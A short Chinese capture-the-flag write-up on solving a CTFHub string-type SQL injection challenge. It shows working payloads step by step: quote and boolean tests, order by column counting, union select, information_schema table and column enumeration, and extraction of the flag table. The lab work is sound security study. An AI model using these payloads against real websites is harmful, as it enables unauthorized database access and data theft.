CTFHUB-WEB-字元型SQL注入
阿新 • • 發佈:2021-01-05
CTFHUB-WEB-字元型SQL注入
我們先就這此題來了解下如何去判斷是否是字串注入
如何去判斷
1.加單引號,由於固定情況下,資料庫此時的語句為select * from table where name = ‘admin’
,加入單引號會引起報錯,頁面不回返
id=1'
2.加入
?id=1' and 1=1
這裡就需要加註釋來進行繞過
一開始我想使用#來進行註釋,結果發現被網頁轉碼了,我們換一種註釋–,為了防止再次被轉碼,我們在–後面加上+
id=1' and 1=1--+
3.輸入
id=1' and 1=2--+
發現頁面再次報錯,這個時候就可以確認是字元型注入了
解題思路:
id=1' order by 1--+
當引數為3時報錯,說明欄位數為2
使用union聯合查詢檢視注入點
id=1' union select 1,2--+
我們發現注入成功卻只返回了一條資訊,是因為這裡頁面只能顯示一條資訊,這裡我們將1改為-1進行注入,就可以返回我們需要知道的資訊點
id=-1' union select 1,2--+
我們可以得知要查詢的資訊放在了第二個列處
查詢當前資料庫名
?id=-1' union select 1,database()--+
id=-1' union select table_schema,group_concat(table_name) from information_schema.tables where table_schema=' sqli' --+
查詢資料庫sqli中的表名
union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
獲取所有欄位名
查詢資料庫指定表的列的內容
union select 1,group_concat(flag) from sqli.flag --+